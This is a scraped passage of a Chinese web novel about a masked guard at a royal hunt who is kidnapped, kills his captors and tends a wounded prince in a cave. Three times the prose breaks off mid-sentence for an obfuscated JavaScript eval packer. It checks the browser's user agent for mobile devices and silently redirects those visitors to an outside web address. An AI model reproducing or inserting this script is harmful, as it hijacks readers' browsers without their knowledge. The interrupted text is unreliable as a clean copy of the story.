沈幼青侧身而立,扫视一眼周围看热闹的人,呼出一口气,从箭壶中取出一支箭,手指紧扣弓弦,缓慢拉开一段距离。 动作不疾不徐,肩部下沉,站姿、手部动作有样学样,外人看来确实是碰过箭的。 秦晖哂笑道:“磨磨唧唧地干什么呢,不敢射就放下,别时间久了弓都举不动了。” 一阵“哈哈”笑声随之响起。 “哎,难为一个下属做甚,还是算了吧。” 有人出来劝阻,不想让事情越闹越大。 一个小小侍卫被当众取笑,不是什么大事,可等会儿要是把定王招来,场面就不受控制了。 而秦晖向来是个没有气度,也不懂忍让之人,谁让他不舒服了,心中种下一根刺,他总会在其他场面讨回来,让别人难堪。 大雍尚武,他又是将门之后,随老父亲征战沙场多年,立过几次功劳,被封为神武大将军,自此迷失在身边人的阿谀奉承之中。直到潼山关的捷报屡屡传来京城,他终于有了危机意识。 世人在所难免地将二人对比,秦晖眼里容不得沙子,久而久之,但凡有人提及到薛故,就十分不爽。 “什么算了?到了战场上,莫非也说算了?定王手下都使些花拳绣腿的功夫,依本将看,驭下不严者,所创下的那些功绩,都是名不副实罢。” 话刚落,一声闷闷的轻笑自面具中传出。 秦晖顿时恼了:“好大的胆子!” “小人不敢。” 沈幼青嘴上说着不敢,语气不咸不淡,丝毫没有“不敢”的意思。 他微微抬手,视线凝聚在一处,众目睽睽之下,手指松开紧绷的弓弦之时,“嗡”的一声,箭矢掠风而过,正中红色靶心。 少年身姿出众,一气呵成的动作令人赏心悦目。 不知谁率先鼓起掌来,毫不吝啬地夸赞:“真不错,颇有定王之风,不愧是跟随定王上阵杀敌之人。” 紧接着,其他人也纷纷称赞。 沈幼青藏在面具下的嘴角悄悄翘起,恭顺道:“大将军让小人射箭,小人也照做了,若有冒犯之处,还望大将军海涵。” 沈幼青一番话说得滴水不漏,让人想找到错处也难。 正欲退下,秦晖面色阴沉,道:“站住。” 沈幼青叹了口气。 这个人到底有完没完? “本将观察此人许久,一直戴着面具,形迹可疑。春猎大会但凡事关圣人安危,一步都不得疏忽大意,绝不能让居心叵测之人混进来。”秦晖转身看向沈幼青,手一挥,“来人,带下去,羁押候审。” 沈幼青瞳孔骤缩,脚步停在原地。 众人心道此招甚是歹毒,把人抓进去,先不论是否能找到罪状,拷打一顿,等薛故知道了,放出来是生是死尚且不知。 秦晖的两个奴仆走到沈幼青身边,沈幼青一动不动,脑子快速运转,想方法自救。 “秦大将军,不妨等定王来了再行定夺呢?” 沈幼青望向替他说话的人,感动之余,发现此人眉眼俊秀,举止投足间带着书卷气,应是某个文臣。 秦晖冷笑道:“中书侍郎未免管得太宽,若是影响到圣上你担待得起吗?” 中书侍郎嘴唇动了动,刚欲开口被另一道声音打断。 “慢着。” 熟悉的声音从后面传来。 众人循声望去,来人腰间系了一枚玉佩,红衣随风猎猎,午后阳光春意盎然,他眼中浸染着的情绪却犹如连阴天。 “本王的侍卫,大将军想带去哪儿?” 秦晖皮笑肉不笑道:“殿下来的正好,这侍卫行迹诡异,本将打算帮殿下清理门户。” 薛故并没有搭理他,看向沈幼青,淡声道:“过来。” 沈幼青挣脱开被桎梏住的双臂,快步过去。 自薛故来了之后,他一改方才恭顺模样,刻意压低声音告状:“殿下,小的不过是在旁围观,便被人平白冤枉!大将军说小人居心叵测,可小人是殿下的人,从未有过不轨之心。将军妄断小人,就是在妄断殿下啊。” 场面一时尴尬,沈幼青告状告得如此正大光明,哪怕压低声音了,在场的人也能听个大概。 秦晖脸色铁青,呸了一口:“狗仗人势。” 沈幼青告完状,听到秦晖嘲他也不生气,悠然自得地站在薛故后面。 薛故转身就走,秦晖气得不轻,上前拦住去路。 薛故抬眸:“本王的人,还轮不到你来清理门户,让开。” 秦晖连最起码的体面都不愿再维持,嗤了一声:“区区北蛮子,流着外族的血,在大雍不夹着尾巴做人就算了,靠着不知是不是勾结外族得来的军功……” 声音戛然而止,场面鸦雀无声。 适才电光火石间,一道白光闪过,剑出鞘的声音也随之响起。太阳下反射出光的剑背架在秦晖的肩上,剑身锋利,只差分毫就能轻易割断脖颈。 在场的人也没想过薛故居然会公然拔剑。 薛故目光幽深:“祸从口出啊,秦大将军。” 薛故速度之快,秦晖都没反应过来,此刻面色青白交加,喉咙滚动,又自知刚才气急败坏下一时失言,想要挽回局面,只好按捺下怒火,笑道:“开个玩笑,请殿下不要当真。” 沈幼青悄悄翻白眼。 因为血脉问题,以前皇帝确实对薛故很不喜,直到薛故打赢了北羌,皇帝对他的疑虑逐渐打消。 已经很久没人敢直呼薛故“北蛮子”了,秦晖也是个脑瘸的,惹谁不好,非要惹世界宇宙中心的起点文男主。 这人下场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427134|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不用他多说了。 沈幼青随着薛故走后,秦晖视线一直跟着他们,直到两人背影消失不见,他眼中闪过几分怨毒。 “嘴里一堆歪理,无非是给自己的懦弱无能和对殿下的嫉妒找借口罢了。”沈幼青愤然道。 薛故“嗯”了一声。 沈幼青这才发现自己好像是在夸他,清咳一下。 “箭术不错。” 沈幼青眼睛睁大:“你看见了?” “是。” “那怎么——”不早点过来? 沈幼青顿了顿,后面的话尽数吞回。 他咬牙道:“自然是因为老师教得好。”不就是想听我夸你吗,那我就夸给你看。 没错,他射箭是以前薛故教的,骑射功夫对于从小待在边关的薛故来说完全不在话下。 沈幼青虽比平常男子瘦弱,但力气并不小。十二岁时,薛故并不怎么搭理他,他只好每次跟过去,眼巴巴蹲在不远处看他们骑马射箭。 直到有一天,薛故主动找他说话,问他要不要试试。 沈幼青当然说“好”。 薛故确实教得很好,只是耐心不足。 于是,在薛故搓磨之下,沈幼青学了几天就嚷着不学了,结果薛故没生气,只是在他不愿意学后硬是逼着他学完。 往事不堪回首。 沈幼青再次叹气。 “狩猎期间,不要擅自走动。” 沈幼青佯装顺从,拱手道:“那是自然。小人会一直守在殿下身边,保护殿下是小人的职责。” 薛故看了他一眼,眸中的情绪说不清道不明。 沈幼青心里咯噔一下,察觉自己放得太开,过于松弛,完全忘了前几天还说要跟薛故保持距离。 他赶紧闭上嘴巴。 * 狩猎规则很简单,三日猎得最多者为胜,只是这猎场广阔,连着数座山,绵延不断,有些未开过路的地方异常凶险,所以,特设了几处禁区,让大家不要进去。 往往风险越大,得到的也更多。 所以每次狩猎,都有人偷偷溜进禁区狩猎,出事者寥寥,加上上面也没明言禁令不允许进去狩猎,去的人逐渐变多。 沈幼青没忘记系统的任务。 到底如何让薛故输了这次比赛呢? 声东击西,调虎离山,偷梁换柱……还是顺手牵羊? 三十六计全都想了一遍,沈幼青觉得要不然这次任务干脆还是别做了。 不用自己出手,就一堆人盯着薛故不放,还不如走为上计。 第一天,相安无事。 当天回去,沈幼青故意嚷嚷着太累,说要在狩猎区外等候殿下平安归来。 薛故由着他,没说什么。 只是在第二天,出了大事。 16. 秘密 上午蓝天白云,碧空如洗,俨然是个适合游猎的好天气。直至午后,太阳一点点挪动到云层后,天空愈来愈灰沉,宛如风雨欲来。 系统忽然出声问他:“宿主不去做任务吗?” 沈幼青双臂枕在后脑勺,漫不经心道:“你怎么比我还急?” 他思来想去,这次任务还是看命吧,他自认没那个本事阻止薛故拿到榜首,且只值200积分,性价比太低,还不如坐等其他炮灰干扰薛故,说不定有意外收获呢。 “砰”的一声,狂风破门而入,幄帐里钻来一股寒意。 系统只是屏蔽了他的痛觉,而不是知觉,空气乍冷,他躺了一会儿就受不了,只好起身,走到门边。 狩猎过程中,每个人只允许带几个随处进去,薛故留了几个人在他所属的营帐附近。 沈幼青向外望去,此刻天色晦暗,乌云密布,不是很好的征兆,也不知道会不会影响到薛故那边。 窸窸窣窣的声音传入耳中,沈幼青猛地回过头,还没看清楚眼前事物,一张手帕捂住他的口鼻,刺激的气味闯入鼻道。 中招了。 旋即眼前一片黑暗,思绪飘远,像与世隔绝般大脑皆是空白。 ‘咻’的一声,羽箭擦过薛故的耳边,刺进不远处粗大的树干,树稳如泰山,只落下几片叶子。 “抱歉,一时失手。”马上人摇了摇手中的弓,指着树干后的野鹿,似笑非笑。 薛故低头看着手中的长弓。 没有多余的动作,眨眼间弦动箭发,刺入骨肉的声音骤响,马上之人肩膀中箭,离心脏只差毫分,冲击力带得他坠下马,似没想过薛故会出手,毫无防备。 “啊啊啊啊——” 薛故视若无睹地经过地上疼得蜷缩身体的人,淡声道:“一时失手。” “你以为你能活着出去吗?你知道这猎场有多少人想要你死吗?”那人痛得面容接近扭曲,话语不成调子。 薛故还在走,步履未停。 元秋快步过来,道:“殿下,刚刚有人来报,留在外面的护卫死了七个,沈……沈公子不见了。” 轰隆一声,雷电划破天空,震耳欲聋,一瞬间的闪光照亮了薛故眸中的郁色。 他转身,走到地上的人面前,手指按住那支箭末端,使了几分力气。 地上那人再度大喊大叫起来。 “皇家猎场不得杀人,我要是死了,圣上不会放过你的!” 薛故不听,力道逐渐加重,似真的想要他死。 只是这次不敢挑衅,痛到极致,不住地求饶:“别杀我,我不敢了,求你别杀我——” 薛故:“本王有百种方法让你死无对证,说,外面之事跟你什么关系?” “跟我无关!不是我做的!” 他面无血色,肩膀处的血流入泥土之中,染成一片红褐色。 见他表情不似作假,薛故松开手。 地上人大口喘气,心有余悸,刚想起身,去找自己带来的随从,没想到薛故嗤了一声:“你以为你能活着出去?” “殿下,真不是我做的!如果是我,我怎么敢一人来这里和殿下见面?”那人吓得跪趴在地上。 “是吗?”薛故冷眼睥睨,道,“那你从何处知道有人想杀我?” “我前日没憋住随便找了个地方如厕,不小心听到秦大将军说要找人报复殿下。此外我一律不知情,求殿下放过我!” “元秋,带上他。”薛故吩咐。 大风卷起落叶,沙沙作响,雨丝飘飘洒洒,愈下愈大。 薛故擦了一把脸上的雨珠,面色不虞。 “殿下,我们现在去哪?”元秋问道。 “先回去。” “好,现在雨大,殿下小心……之前的伤。” “无碍。”薛故眉心拧起。 良久积聚的烦躁情绪引得他此刻很想杀人。 阵阵脚步声被雨拍打树叶泥土的声音掩盖,等到薛故发现的时候,几十个蒙面人已经亮出了长刀。 薛故的手按在腰间的剑鞘上,蓄势待发。 所有人的目标都是薛故,暴雨天,几人射箭射不准,全被薛故躲过,只好弃了弓,拿起大刀。 薛故脚步如梭,手持长剑直直劈下,所过之处,接连不断的头颅落在地上,血流如注。 敌方人太多,而薛故这边只有他和元秋,以及另一个护卫。 元秋被其中几人缠住,无力分心看薛故的状况,心中只求殿下的旧伤此刻不要复发。 “人呢?”蒙面人环顾四周,发现薛故不见踪迹,顿时生了不安的情绪。 下一刻,手臂竟被剑身削断,痛苦不堪忍受导致的尖叫声刚要出口,剑光横扫,咽喉破开一道口子。 尸体倒下,染红了泥泞的土地。 元秋刚杀完几个人,抬头一看,薛故的表情很不对劲。 “殿下,小心!” 声音被湮没在雨雾中。 * 沈幼青是被饿醒的。 睁开眼,自己身处一个陌生的环境。破旧不堪的木屋,木窗被风雨冲击,不断地拍打着墙壁,已经出现多道裂痕。 一股浓浓的血腥味刺激着沈幼青的鼻腔,本来就饿着肚子,闻到味道后,胃里升起翻江倒海的不适感,想吐。 “奶奶的,下这么大雨,待会我们怎么赶路?” “急啥,反正大人也没让我们在规定时间内把人给送去,先等雨小了再说吧,刚好休息一会儿。” “干脆杀了得了,带个人真碍事。” “你可别擅作主张,大人没说要杀就不能直接杀了。” “知道知道。”说话的人脸上一道长长的刀疤,从眼角蔓延到下巴,他无聊地磨着手中的刀,语气不耐。 旁边那个矮瘦的男子烤起火,举起被刀疤脸处理过的猎物,放在火堆里炙烤,过了一会儿,香味扑鼻。 沈幼青肚子叫声此刻不应景地响了起来。 刀疤脸听到动静,起身走了过去。 “醒了?” 沈幼青脸上面具戴得很牢,到现在还没有掉下来。他小幅度地点了点头,没有说话。 刀疤脸登时一脚踹过去:“问你话呢,哑巴了?” 沈幼青被踢得往墙壁一倒,没有痛感,但被踢过的地方微微发麻。 “醒了。”他佯装很痛,一边捂着腰,一边吸气道。 刀疤脸瞅着面具,愈发不爽,蹲下身,将面具用力扯开,动作大,硬生生在沈幼青脸上刮出一道长痕,很快流出丝血。 刀疤脸哂笑一声:“我当戴着面具干啥呢,原来是遮住这张脸。” 矮瘦的男子在那边疑惑道:“你在说什么啊?戴着面具不遮脸遮什么?” 刀疤脸:“你过来看就知道了,老子找不出词来形容。” 矮瘦男子一时好奇,放下了手中的鹿腿,也过来瞅瞅。 地上人头发凌乱,脸部线条柔和流畅,肤白如玉,嘴唇没有血色,冒出点血的细长红痕也不影响美感,反而增添几分让人想摧毁的病态之美。 刀疤脸笑道:“一个男的长这么漂亮,保不准是给那定王暖榻的。” 矮瘦男人愣怔片刻,提高音量问道:“你说他是男的?” 刀疤脸皱起眉:“你眼睛瞎啊,这不穿着男装吗?大人让我们抓的就是男子啊。” 矮瘦男人眼睛死死盯着沈幼青的脸,缓缓摇头道:“不是,我不是那个意思。” “怎么了,有什么不对劲吗,难道我们抓错了?” 矮瘦男人道:“不是,我只是发现,他的脸,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427135|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈太傅之女长得一模一样!” 雷声轰隆,刀疤脸也愣住了。 沈幼青抬眸,气息有些不稳,手指狠狠掐入掌心。 十八年来,他想过很多次男子身份败露的场景,甚至做梦都会梦见那一刻的到来。 可当真的发生的时候,并不如想象中或者梦里那般轰轰烈烈的开场,在一个自己也没想过的可能里,就这么简单地被掀开了秘密。 尽管屏蔽了痛感,沈幼青依旧觉得,混乱的思绪冲击着大脑皮层,胸口时不时有一股不可言喻的窒息感。 被发现了。 矮瘦男人嘴角笑容放大:“你说,我们要是把这个秘密放出去,会如何?” 刀疤脸反应过来,拍了一下他肩膀:“你确定你没看错?” “当然!我所说的不可能有假!你不是知道嘛,好看的人,我只要见过一面就能记住。那沈太傅只有一个女儿,跟他女儿长一样的总不能是私生儿罢。” 刀疤脸这下确信了,笑道:“你小子还真有点门道。我们要是拿这秘密去威胁沈太傅,那可就赚大发了。” “是啊。不过,大人要我们把此人送过去,他要是也知道了会如何?” 刀疤脸面露难色,一笔大财眼看着要从眼前溜走,十分不爽:“那怎么办?不把人交上去吗?” “容我再想想。” 矮瘦男人是他们的主心骨,刀疤脸自然听他的。 沈幼青垂下眼睫,敲了敲系统。 “打开商城,我要买一样东西。” 说完,他装作天真的模样,微笑着提醒道:“大哥,肉好像烧焦了。” 矮瘦男人一拍脑袋:“哎呀,差点忘了。”说罢,赶紧回去。 “大哥,我饿了,可以吃点东西吗?” 刀疤脸冷笑一声,又一脚踹了过去:“想得倒美呢。” “我身子骨一向很差,要是死在这儿,大哥还怎么拿到钱呢?”沈幼青“痛苦”地弓起身,虚弱道。 刀疤脸思索了一会儿,果真不打算打他,往后退了一步,随后恶狠狠地威胁:“别想着跑,你要是敢耍花招就死定了。” “我不会的,只要大哥不杀我,让我做什么都行,我不想死。”沈幼青害怕得浑身抖瑟。 矮瘦男人将刀疤脸喊回去,分吃鹿肉,吃到肚皮圆滚后,刀疤脸打了个饱嗝,揉了揉肚子,对矮瘦男人说:“今晚你先睡,我来看着他。” 矮瘦男人去里屋睡了,不久后鼾声如雷。 刀疤脸仔细打量着沈幼青,惋惜道:“长这么好看居然是个男人。” 沈幼青低声道:“大哥,其实,我不是男人。” 刀疤脸眉头一横:“什么?你是女人?” 沈幼青难为情地笑道:“京城之中穿男装的女子比比皆是,我也只是一时好奇换了男装。” 刀疤脸不信:“你不会是想骗老子吧。不过也是,欺君的事,要是被圣上知道了,全府都得跟着你陪葬,你肯定不想让我们知道。” 沈幼青摇头:“我真不是男子,不信你可以脱下来看看。” 刀疤脸此刻信了三分,但还是怀有疑虑:“那你方才怎么不说?” 沈幼青难过地垂下眼:“我太害怕了,不知道怎么开口。” 刀疤脸最终走上前,决定要脱他的衣物查看沈幼青所说的是否为真。 他弯下腰,离沈幼青很近,开始解沈幼青的外衣,脱到一半,露出里面的白色亵衣。 男人刚欲把手伸进去,只是没想到,方才还柔弱可欺的人,这时咬上他的喉咙,撕裂般的痛感袭来,他举起手,“噗呲”一声,他的胸膛被匕首深深捅入,手即将碰到沈幼青的脖颈之际,蓦地丧失力气,整个人重重倒下。 里屋的矮瘦男人烦躁道:“弄啥呢这么吵?” 17. 休想 半夜,风雨已经停息,外面一片死寂,连虫鸣声都消失了。 矮瘦男人从梦中被惊醒,又高声问了一句:“发生何事了?” 依旧没有回应。 他迈出里屋的门槛,银色月光从窗户照进来,依稀可见地上躺了一个人,以及断成几段的绳索。 他睁大眼睛,登时怒火冲天,只是,还没来得及去翻看尸体,地面映射出一道不属于他的影子。 一根长棍狠狠敲在他后脑勺上,矮瘦男人捂着头,踉跄几步,痛感和眩晕一并而来,差点跪下,硬撑着躲过第二下。 身后那人反手将短匕首插进他的背部,男人倒下,胸口朝地。 那人似是怕一次杀不了,又对着头部多敲了几下,直到矮瘦男人彻底没了声息,一动不动,才弃了手中的长棍。 匕首还插在尸体上,沈幼青呆站着,眼眶里的泪水涌了出来,肩膀不住地颤抖。 他吸了吸鼻子,蹲下身把匕首从尸体身上拔出来。 月光下,匕首沾着的血正成串滴落,沈幼青手一抖,匕首又掉落在地。 这是他花了50积分在商城里买来的,决不能丢在这里。 收拾好情绪,沈幼青携着匕首快速出了木屋,外面是一望无际的树,石头路坑坑洼洼,泥泞不堪,即便雨停了,也异常难走,鞋子已然湿透。 暴雨一场唯一带来的好处,便是很多野生动物回了窝躲雨,一时半会不会出来觅食,安全多了几分保障。 沈幼青不知道自己走了多久,弯弯绕绕的丛林像一个巨大的迷宫。 一想到后面可能会有人追上来,他一刻不敢停下。 周遭一片漆黑,只能靠着微弱的亮光辨别前路,阴森寂寥的山路蜿蜒崎岖,他明明是往下山的路走,却不知为何越走越偏。 直到一阵嘶哑难听的乌鸦叫声袭来,沈幼青停住了脚步。 他转身打算换个方向,没走几步蓦地被草丛里的东西绊倒。 摸索着正要起身,碰到地上那东西裸露在外的皮肤。 沈幼青吓得缩回手。 好像是尸体。 他忍住快从喉咙里溢出来的尖叫,却见那“尸体”动了动,发出细碎窸窣声响。 没死吗? 大脑告诉沈幼青不应该管下去,赶紧跑了算了,可是他最终还是上前一步,大着胆子将草丛中人拉出来,拉到稍微能见光的地方。 地上人衣服沾满泥土血液,沈幼青费力把人翻个身,终于看清了脸。 “薛观南!” 沈幼青震惊不已,喃喃道:“怎么会是他?怎么可能,我看错了吗?” 他可是爽文诞生的产物,哪怕被全世界的人追着杀也不会倒在这里的男主啊。 沈幼青立即问系统:“他要死了吗?” 系统:“暂时还有生息。” 沈幼青呼吸一滞。 那就是可能会死。 他不敢想如果薛故死了,这个世界会变成什么样子,而自己任务没走完,要永远留在这里。 一想到认识这么久的人,也会消弭于虚无,心脏好像被攥紧,很难受。 不行,不能让薛故死这这里。 此刻天边黑色逐渐变淡,泛起鱼肚白,临近黎明。 沈幼青到处翻找工具,迈过几个坟头后,看见一张摆了衣服的草席,沈幼青两掌合起,重复几遍:“生活所迫,无意冒犯,莫要怪罪……” 他取走衣物,又找到一根长绳,将薛故小心翼翼推到草席上,再用绳子捆好,使出驴拉磨的力气,拉着绳子走,走几步歇一会儿。 沈幼青还在念念有词:“我都这么帮你了,你要是敢死,我就……” 接不下去了。 他想不出来威胁的话。 “你说我是不是自讨苦吃,明明几年后你就要把我送进大牢,还十大酷刑伺候……”沈幼青越想越气,松开绳子,对着裹住人身的草席,道,“古有狗咬吕洞宾,农夫与蛇,今有薛观南咬沈幼青,薛观南与沈幼青!” 等等,好像哪里不对劲。 沈幼青轻轻踢了一脚草席,以示报复,再度拉起绳子时,忽然福至心灵。 忆起系统让他去过未来,薛故活得好好的,所以薛故现在根本就不会死啊! 这样想来,沈幼青瞬间安心多了,只道自己方才脑子混乱,都没想到这一层。 “嘁,白担心那么久。” 天空蒙蒙亮,沈幼青彻底没力气,幸好发现一处狭窄的山洞,里面没见到吃剩的骨头之类的东西,倒是遗留了别人用火的痕迹。 应是安全的。 他把人拖进山洞,累得直接倒在石壁上喘气。 休息够了,他扯开草席,薛故的睡颜映入眼帘。 只能说,皮相好看是薛观南唯一的优点。 沈幼青哼了一声,手刚要摸上他的额头,薛故突然胸口剧烈起伏,侧过头吐出一口鲜血来。 沈幼青举起手:“我什么都没做!” 薛故缓缓睁开眼,看到是沈幼青,眸中掠过错愕。 唇畔沾血,被他随意擦去。 “你怎么在这儿?” 沈幼青避开他的视线,低头道:“不知道,走着走着就到这儿了。” “撒谎。”薛故语气依旧坚定。 沈幼青讨厌被他看穿的感觉。 难道要他说被发现男子身份后杀了两个人吗。 烦躁和怒火交织,沈幼青没控制住情绪:“跟你有关系吗?” 薛故身体一僵,看了他良久,也沉默了良久,声音有些沉闷:“是没关系。” 只是,看清沈幼青衣袖上的大片血迹,下颌线顿时绷紧,扯开沈幼青的袖子:“你受伤了?” 沈幼青情绪来得快去得也快,他一向很少与人争执,只要对方不会冲他发火,态度稍稍放软一点,他就登时消了气。 见薛故关心他,沈幼青有些别扭。 “没受伤。”他扯回手。 “那就好。” 沈幼青见他不再追问,赶紧换了话题:“元秋呢,怎么没见到他,殿下知道元秋去哪了吗?” 薛故道:“走散了。” “他没受伤吧?” “不知。”说罢,薛故抬头看他,幽幽道,“你怎么这么关心他?” 沈幼青清咳一声:“他人挺好的,我只是不希望他死了。” “倘若我死了呢?” 沈幼青眼中聚起疑惑。 薛故问这个是什么意思? “殿下,你不会死。”你会一直好好活着,囊括四海,权倾天下。 薛故望着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427136|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唇线抿直。 沈幼青讪笑着,找补道:“殿下一看就是福泽深厚,气运加身之人,怎么会死呢?阎王都不敢随意写下殿下的名字,谁死殿下都不会死,我肯定会比殿下先一步入土。” “胡说什么。”薛故语气不耐。 沈幼青立刻闭上嘴。 只是没过多久,他发现薛故额头冒着冷汗,面色苍白中泛着不正常的红。 “殿下是染上风寒了吗?” 薛故阂着眼,摇了摇头。 沈幼青才反应过来到现在还没查看薛故的伤势,能让一个全书武力值top前几的人倒在无人的深林之中,肯定很严重。 他掀开薛故的衣物。 下一刻,手被薛故紧紧攥住。 “做什么?”薛故即便虚弱,力气仍不小,沈幼青的手被他抓住后不得动弹。 “我想看看你的伤。” 薛故:“我的伤无碍。” 沈幼青:“要是无碍,就不会跟我躲在这山洞里了。” 薛故松开他的手。 沈幼青只是脱了一部分,就看见鲜血淋漓的刀伤。 天呐,薛故到现在没说一个“痛”字,这忍耐力不容小觑。 他蹙起眉心:“昨天雨那么大,伤口肯定发炎了。” 他见过府里的大夫是如何给人处理伤口的,只可惜现在没有药,漫山遍野的可能哪个旮旯里有草药,但他不认路,更何况把薛故一人留在这里他也不放心。 灵机一动,沈幼青猛地想起系统商城。 靠!这么贵! 三百积分,比这次任务获得的积分还要多,无良系统,无良商家! 系统温馨提示:“宿主你好,由于主角心情指数上升,已达90个百分点,故商城打一折。” 一折!那也就是只需耗费三十积分! 沈幼青当下就换了草药。 他视线转到薛故脸上,薛故本人此刻正面无表情地闭眼歇息,他不禁仔细琢磨着,到底哪里心情好了,根本看不出来啊。 没空多想,沈幼青撕下一片衣料,敷上买好的草药,蹑手蹑脚地给他上药。 薛故眉头紧拧,应是痛得狠了。 沈幼青动作小心,轻声道:“幸好我带了药……等我们出去,殿下是不是该好好酬谢我?”见薛故不回应,沈幼青接着说,“之前欠殿下的人情是不是也可以一笔勾销了?” 薛故眼睛睁开,喘着气,声音像是从喉咙里挤出,一字一句道:“休想。” 沈幼青:“为什么?殿下怎能说话不算数?” 薛故嗤了一声:“我何时答应过你?” 沈幼青回忆了一下,确实没明确答应过他。 “那怎样才能一笔勾销?” 男人倾过身,两人之间的距离蓦然拉近。 薛故定定地看着他,眼中烫人情绪翻滚,似某种达到绷裂极限的绳,旋即毫无征兆地贴上他的唇,充满占有欲的亲吻,狠狠碾磨着,似乎觉得还不够,舌头很快撬开他的唇齿。 沈幼青仰头承受着,眼睛眨也不眨,纹丝不动。 一手托住他的后脑勺,刻意加深了这个吻,五指无意识陷入沈幼青柔软的乌发之中。 “这样。” 低沉嗓音贴近他的耳廓,在一片寂静之中清晰可闻。 18. 骗子 不知道亲了多久,沈幼青嘴唇发麻,想推开,又怕触碰到薛故的伤口,直到感觉有把匕首抵着自己的腰,不太舒服,他被亲得迷迷糊糊,下意识后退,想要隔开些距离。 闷哼声传入耳廓,沈幼青顿时明白那是什么,大脑瞬间宕机。 薛故有的物件他也有,只是怎么那么……得天独厚!还是人吗? 沈幼青不会换气,差点呼吸不过来。 薛故察觉到沈幼青呼吸不畅,放开了他,眼中的欲.念还未散开,黏稠的目光在沈幼青脸色来回梭巡,不放过任何细微的变化,只是看清他清醒又带着些许排斥的神情,垂下眼,轻嗤了一声,像在自嘲。 沈幼青两耳通红,装作若无其事的模样,偏过头,脊背挨上凹凸不平的石壁,退无可退。 这人都受伤了怎么还能发.清…… 剩下的草药撒了一地,沈幼青头疼起来,忙不迭去捡。 “这药很贵的,一丁点都不能浪费。” 此情此景过于尴尬,沈幼青不知道怎么面对,就一直自顾自闷头找草药。 他之前想过很久该怎么试探薛故的心意,又因为发生过的各种事情而放弃后,薛故居然再次亲了他。 薛故应该是喜欢他的,可为什么他弄清楚后又开心不起来。 等他起身,薛故又恢复了之前面无表情的冷冽疏淡。 “有时候真想敲开你的脑子,看看里面在想什么。” 沈幼青摸了摸脑袋,别人说这句话可能是开玩笑,但薛故说出口,他是真的会信人家能做出来,毕竟原著里就没少做。 “殿下……” 薛故打断了他:“闭嘴,我不想听。” 不想听你张口闭口的“殿下”,更不想听你满口编来的谎话。 薛故笑了笑,透着几分倦怠,漠然开口道:“你是个骗子,我早已经知晓。你走吧,不用管我。” 沈幼青怔愣片刻,说:“你不想听,可我偏要说。不管你信不信,当初退婚并非我本意,你气我也好,恨我也罢,都没关系的。”他低下头,揪紧衣角,“我确实食言了,对不起……” 话刚落,薛故反应却很大,掰正了他的脸,眼底郁色似被冲淡,眸光乍亮:“非你本意是何意?” 沈幼青当然不会跟他坦白,他们所处的是一本起点文退婚流小说,而自己扮演着负责退男主婚的角色,从“青梅竹马”四个字开始就是一场巨大的谎言。系统曾经说过,主角负责这个世界的运转,一旦他意识到这个世界都是假的,接受不了,整个世界都会崩坏。 可他又不想继续骗他,只好换了个说辞:“我不能说,也不想骗你,但请殿下相信我,我之前所做的一切都有苦衷。” 薛故目光深深:“嗯。” 不知道他信没信,沈幼青把之前的事情说出来一部分,心口像是堵塞良久的血液又重新回流。 薛故靠过来,和沈幼青背靠同一面石壁,肩上敷过药的伤口渗出血来,沈幼青叹了口气:“别动了,好不容易包好的。” “嗯。”薛故闭上眼睛。 沈幼青坐在原地,狭窄洞穴内,薛故烫人的呼吸,和他身体的温热,都能异常清晰地感受到。 他侧身抚上薛故的额头,很烫,应是伤口发炎导致的发烧。 薛故贪恋那抹清凉,意识模糊,抬起手紧紧握住。 薛故状况太差,根本没办法赶路,如果路上遇到危险,两人更是死路一条,虽然知道他是男主,不会死,但自己就说不定了。 他思忖良久,不知道该怎么办,只好问系统:“未来的事情我已经知晓了一部分,是不是意味着无论发生什么事情,薛故都不会死?” 系统却给出了否定的答案:“不是,未来是可以改变的。” “所以,如果我任之不管,薛故会死,是吗?” “是。” 沈幼青难以置信:“可他不是男主吗?他怎么会死?” “男主只是让他有主角光环,不代表他不会死。” 沈幼青:“所以如果他死了,这个世界不复存在,后面任务也不用做了?” 系统沉默了一会,冷硬的机械音在他脑中响起:“可以这么理解。” 沈幼青接着问:“那我完成不了任务,买不了回城礼包,就得跟着男主他一起死了?” “是。” 原来这才是真正的同年同月同日死,所有人都要给男主殉葬,包括他自己。 沈幼青略微烦躁地甩了甩脑袋,攀着石壁正要起身,薛故攥紧他的手不放,用尚存的意识嘶哑出声问道:“你要去哪?” 都生病了,手劲还这么大,沈幼青完全挣脱不开。 “我去外面接点水,再找些能吃的食物,很快回来。”沈幼青像哄小孩一样轻轻拍了拍他的手。 薛故虚弱地睁开眼,气息不稳:“那日出城,我站在城楼下等了很久都没看见你。” 